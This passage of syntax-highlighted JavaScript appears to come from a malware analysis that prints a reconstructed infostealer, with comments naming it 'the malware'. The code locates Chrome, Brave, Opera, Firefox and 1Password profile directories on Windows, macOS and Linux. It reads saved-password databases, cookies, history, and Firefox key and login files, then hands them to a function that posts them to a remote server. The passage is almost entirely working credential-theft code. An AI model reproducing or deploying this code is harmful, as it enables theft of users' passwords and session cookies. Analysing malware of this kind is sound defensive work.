<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #9CDCFE">request</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">post</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">options</span><span style="color: #D4D4D4">, (</span><span style="color: #9CDCFE">error</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">response</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4">) </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// No response handling (the malware ignores server response or errors)</span></span>
<span class="line"><span style="color: #D4D4D4">    });</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// **Target Paths for Data Collection**</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Define target directories for Chrome/Brave/Opera/Firefox, etc., depending on OS:</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">baseDirWindows</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;Local&quot;</span><span style="color: #D4D4D4">;         </span><span style="color: #6A9955">// on Windows, under %LOCALAPPDATA%</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">baseDirLinux</span><span style="color: #D4D4D4">   = </span><span style="color: #CE9178">&quot;.config&quot;</span><span style="color: #D4D4D4">;      </span><span style="color: #6A9955">// on Linux, under ~/.config</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">baseDirMac</span><span style="color: #D4D4D4">     = </span><span style="color: #CE9178">&quot;Library/Application Support&quot;</span><span style="color: #D4D4D4">; </span><span style="color: #6A9955">// on macOS, under ~/Library/Application Support</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Chrome paths for Windows, macOS, and Linux</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">chromeWinDir</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;Google/Chrome&quot;</span><span style="color: #D4D4D4">;           </span><span style="color: #6A9955">// Windows: ...\Local\Google\Chrome</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">chromeMacDir</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;Google/Chrome&quot;</span><span style="color: #D4D4D4">;           </span><span style="color: #6A9955">// macOS: ~/Library/Application Support/Google/Chrome</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">chromeLinuxDir</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;google-chrome&quot;</span><span style="color: #D4D4D4">;         </span><span style="color: #6A9955">// Linux: ~/.config/google-chrome</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Brave paths for Windows, macOS, and Linux</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">braveBaseDir</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;BraveSoftware&quot;</span><span style="color: #D4D4D4">;           </span><span style="color: #6A9955">// Base folder name for Brave (Win/Mac)</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">braveBrowserDir</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;Brave-Browser&quot;</span><span style="color: #D4D4D4">;        </span><span style="color: #6A9955">// Subfolder for Brave browser profile data</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">braveWinDir</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">braveBaseDir</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">;          </span><span style="color: #6A9955">// Windows: ...\Local\BraveSoftware (Brave-Browser inside)</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">braveMacDir</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">braveBaseDir</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">;          </span><span style="color: #6A9955">// macOS: ~/Library/Application Support/BraveSoftware</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">braveLinuxDir</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;BraveSoftware&quot;</span><span style="color: #D4D4D4">;          </span><span style="color: #6A9955">// Linux: ~/.config/BraveSoftware (Brave-Browser inside)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Opera paths (Opera Stable) for Windows and macOS (Linux Opera not explicitly handled in code)</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">operaWinDir</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;Opera Software</span><span style="color: #D7BA7D">\\</span><span style="color: #CE9178">Opera Stable&quot;</span><span style="color: #D4D4D4">;     </span><span style="color: #6A9955">// Windows: ...\Roaming\Opera Software\Opera Stable</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">operaMacDir</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;Opera Software/Opera Stable&quot;</span><span style="color: #D4D4D4">;      </span><span style="color: #6A9955">// macOS: ~/Library/Application Support/Opera Software/Opera Stable</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Firefox paths</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">firefoxWinDir</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;Mozilla</span><span style="color: #D7BA7D">\\</span><span style="color: #CE9178">Firefox</span><span style="color: #D7BA7D">\\</span><span style="color: #CE9178">Profiles&quot;</span><span style="color: #D4D4D4">;     </span><span style="color: #6A9955">// Windows: ...\AppData\Roaming\Mozilla\Firefox\Profiles</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">firefoxMacDir</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;Firefox/Profiles&quot;</span><span style="color: #D4D4D4">;               </span><span style="color: #6A9955">// macOS: ~/Library/Application Support/Firefox/Profiles</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">firefoxLinuxDir</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;.mozilla/firefox&quot;</span><span style="color: #D4D4D4">;             </span><span style="color: #6A9955">// Linux: ~/.mozilla/firefox</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// 1Password paths (for macOS)</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">onePasswordMacDir</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;1Password&quot;</span><span style="color: #D4D4D4">;  </span><span style="color: #6A9955">// e.g., ~/Library/Application Support/1Password</span></span>
<span class="line"><span style="color: #6A9955">// (Note: In the code, specific 1Password container paths are targeted by a unique identifier.)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// **Data Collection Functions**</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Create a read stream for a given file (used to collect file content without loading into memory)</span></span>
<span class="line"><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">readFileStream</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">filePath</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">return</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">fs</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">createReadStream</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">filePath</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Synchronously read an entire file (not heavily used in this malware; streams preferred)</span></span>
<span class="line"><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">readFile</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">filePath</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">return</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">fs</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">readFileSync</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">filePath</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Copy a directory recursively (used to duplicate browser profile data to a temp location)</span></span>
<span class="line"><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">copyDirectory</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">src</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">dest</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #9CDCFE">fs</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">cpSync</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">src</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">dest</span><span style="color: #D4D4D4">, { </span><span style="color: #9CDCFE">recursive:</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">true</span><span style="color: #D4D4D4"> });</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// The malware collects files from a browser&#39;s profile directories.</span></span>
<span class="line"><span style="color: #6A9955">// `collectBrowserData(paths, prefix)` will search the possible `paths` (based on OS) for profile data.</span></span>
<span class="line"><span style="color: #6A9955">// - `paths` is an array &#91;windowsPath, macPath, linuxPath&#93; for the base browser profile directory.</span></span>
<span class="line"><span style="color: #6A9955">// - `prefix` is a label used in naming the collected data entries (e.g., &quot;3_&quot; for Chrome).</span></span>
<span class="line"><span style="color: #569CD6">async</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">collectBrowserData</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">paths</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">prefix</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">let</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">collectedFiles</span><span style="color: #D4D4D4"> = [];</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Determine base profile directory according to current OS</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">let</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">baseProfileDir</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">platform</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">startsWith</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;win&#39;</span><span style="color: #D4D4D4">)) {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Windows: e.g., &quot;C:\Users\&lt;User&gt;\AppData\Local\&lt;paths&#91;0&#93;&gt;&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">baseProfileDir</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">homeDir</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">&#39;AppData&#39;</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">paths</span><span style="color: #D4D4D4">&#91;</span><span style="color: #B5CEA8">0</span><span style="color: #D4D4D4">&#93;);</span></span>
<span class="line"><span style="color: #D4D4D4">    } </span><span style="color: #C586C0">else</span><span style="color: #D4D4D4"> </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">platform</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">startsWith</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;darwin&#39;</span><span style="color: #D4D4D4">)) {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// macOS: e.g., &quot;~/Library/Application Support/&lt;paths&#91;1&#93;&gt;&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">baseProfileDir</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">homeDir</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">baseDirMac</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">paths</span><span style="color: #D4D4D4">&#91;</span><span style="color: #B5CEA8">1</span><span style="color: #D4D4D4">&#93;);</span></span>
<span class="line"><span style="color: #D4D4D4">    } </span><span style="color: #C586C0">else</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Linux: e.g., &quot;~/.config/&lt;paths&#91;2&#93;&gt;&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">baseProfileDir</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">homeDir</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">baseDirLinux</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">paths</span><span style="color: #D4D4D4">&#91;</span><span style="color: #B5CEA8">2</span><span style="color: #D4D4D4">&#93;);</span></span>
<span class="line"><span style="color: #D4D4D4">    }</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Only proceed if base profile directory exists</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (!</span><span style="color: #DCDCAA">fileExists</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">baseProfileDir</span><span style="color: #D4D4D4">)) {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">return</span><span style="color: #D4D4D4"> []; </span><span style="color: #6A9955">// No data if directory not present</span></span>
<span class="line"><span style="color: #D4D4D4">    }</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Profile directories: Default profile is usually &quot;Default&quot; or for Firefox random name, etc.</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// The malware tries profile &quot;Default&quot; (index 0) and profile &quot;Profile 1&quot;, &quot;Profile 2&quot;, etc. (index 1,2,...)</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">defaultProfileName</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;Default&quot;</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">altProfilePrefix</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;Profile &quot;</span><span style="color: #D4D4D4">;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">for</span><span style="color: #D4D4D4"> (</span><span style="color: #569CD6">let</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">profileIndex</span><span style="color: #D4D4D4"> = </span><span style="color: #B5CEA8">0</span><span style="color: #D4D4D4">; </span><span style="color: #9CDCFE">profileIndex</span><span style="color: #D4D4D4"> &lt; </span><span style="color: #B5CEA8">2</span><span style="color: #D4D4D4">; </span><span style="color: #9CDCFE">profileIndex</span><span style="color: #D4D4D4">++) {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Determine profile directory name</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">profileDirName</span><span style="color: #D4D4D4"> = (</span><span style="color: #9CDCFE">profileIndex</span><span style="color: #D4D4D4"> === </span><span style="color: #B5CEA8">0</span><span style="color: #D4D4D4">) ? </span><span style="color: #9CDCFE">defaultProfileName</span><span style="color: #D4D4D4"> : </span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">altProfilePrefix</span><span style="color: #569CD6">}${</span><span style="color: #9CDCFE">profileIndex</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">profilePath</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">baseProfileDir</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">profileDirName</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (!</span><span style="color: #DCDCAA">fileExists</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">profilePath</span><span style="color: #D4D4D4">)) </span><span style="color: #C586C0">continue</span><span style="color: #D4D4D4">;  </span><span style="color: #6A9955">// skip if profile directory doesn&#39;t exist</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Create a temporary copy of the profile (if it’s large, could be truncated by threshold logic)</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">tempCopyDir</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">profilePath</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">prefix</span><span style="color: #D4D4D4"> + </span><span style="color: #9CDCFE">profileIndex</span><span style="color: #D4D4D4">);  </span><span style="color: #6A9955">// e.g., append &quot;3_0&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #DCDCAA">copyDirectory</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">profilePath</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">tempCopyDir</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">        } </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">e</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// If copy fails, likely due to permissions or large size, continue with partial data</span></span>
<span class="line"><span style="color: #D4D4D4">        }</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Now collect specific files of interest from the profile:</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// e.g., for Chrome/Brave:</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// - Login Data (saved passwords, SQLite DB)</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// - Cookies (browser cookies, SQLite DB)</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// - History (browsing history)</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// - Preferences, etc.</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// (For Firefox, it will target key files like key4.db, logins.json, etc.)</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">targetFiles</span><span style="color: #D4D4D4"> = &#91;</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #CE9178">&quot;Login Data&quot;</span><span style="color: #D4D4D4">,        </span><span style="color: #6A9955">// encrypted saved passwords (Chrome/Brave)</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #CE9178">&quot;Cookies&quot;</span><span style="color: #D4D4D4">,           </span><span style="color: #6A9955">// cookies storage</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #CE9178">&quot;History&quot;</span><span style="color: #D4D4D4">,           </span><span style="color: #6A9955">// browsing history</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #CE9178">&quot;Bookmarks&quot;</span><span style="color: #D4D4D4">,         </span><span style="color: #6A9955">// bookmarks</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #CE9178">&quot;Preferences&quot;</span><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// browser preferences (contains sync info, etc.)</span></span>
<span class="line"><span style="color: #D4D4D4">        &#93;;</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">profileFilesDir</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">profilePath</span><span style="color: #D4D4D4">;  </span><span style="color: #6A9955">// base directory where the above files reside (for Chrome/Brave, it&#39;s the profile dir itself)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">for</span><span style="color: #D4D4D4"> (</span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">fileName</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">of</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">targetFiles</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">filePath</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">profileFilesDir</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">fileName</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #DCDCAA">fileExists</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">filePath</span><span style="color: #D4D4D4">)) {</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #6A9955">// Use a readable stream to collect file content</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">fileStream</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">readFileStream</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">filePath</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #9CDCFE">collectedFiles</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">push</span><span style="color: #D4D4D4">({</span></span>
<span class="line"><span style="color: #D4D4D4">                    </span><span style="color: #9CDCFE">filename:</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">prefix</span><span style="color: #569CD6">}${</span><span style="color: #9CDCFE">profileIndex</span><span style="color: #569CD6">}</span><span style="color: #CE9178">_</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">fileName</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">,  </span><span style="color: #6A9955">// label the file with prefix and profile index</span></span>
<span class="line"><span style="color: #D4D4D4">                    </span><span style="color: #9CDCFE">content:</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">fileStream</span></span>
<span class="line"><span style="color: #D4D4D4">                });</span></span>
<span class="line"><span style="color: #D4D4D4">            }</span></span>
<span class="line"><span style="color: #D4D4D4">        }</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// Additionally, for Firefox profiles, gather key databases and login JSON:</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// (Firefox profiles have e.g., &quot;logins.json&quot;, &quot;key4.db&quot;, &quot;key3.db&quot;)</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">prefix</span><span style="color: #D4D4D4"> === </span><span style="color: #CE9178">&quot;firefox_&quot;</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">firefoxFiles</span><span style="color: #D4D4D4"> = &#91;</span><span style="color: #CE9178">&quot;logins.json&quot;</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">&quot;key4.db&quot;</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">&quot;key3.db&quot;</span><span style="color: #D4D4D4">&#93;;</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #C586C0">for</span><span style="color: #D4D4D4"> (</span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">fname</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">of</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">firefoxFiles</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">filePath</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">profilePath</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">fname</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #DCDCAA">fileExists</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">filePath</span><span style="color: #D4D4D4">)) {</span></span>
<span class="line"><span style="color: #D4D4D4">                    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">fStream</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">readFileStream</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">filePath</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">                    </span><span style="color: #9CDCFE">collectedFiles</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">push</span><span style="color: #D4D4D4">({</span></span>
<span class="line"><span style="color: #D4D4D4">                        </span><span style="color: #9CDCFE">filename:</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">prefix</span><span style="color: #569CD6">}${</span><span style="color: #9CDCFE">profileIndex</span><span style="color: #569CD6">}</span><span style="color: #CE9178">_</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">fname</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">                        </span><span style="color: #9CDCFE">content:</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">fStream</span></span>
<span class="line"><span style="color: #D4D4D4">                    });</span></span>
<span class="line"><span style="color: #D4D4D4">                }</span></span>
<span class="line"><span style="color: #D4D4D4">            }</span></span>
<span class="line"><span style="color: #D4D4D4">        }</span></span>
<span class="line"><span style="color: #D4D4D4">    }</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// If any files collected for this browser, send them</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">collectedFiles</span><span style="color: #D4D4D4">.</span><span style="color: #9CDCFE">length</span><span style="color: #D4D4D4"> &gt; </span><span style="color: #B5CEA8">0</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #DCDCAA">sendData</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">collectedFiles</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">    }</span></span>
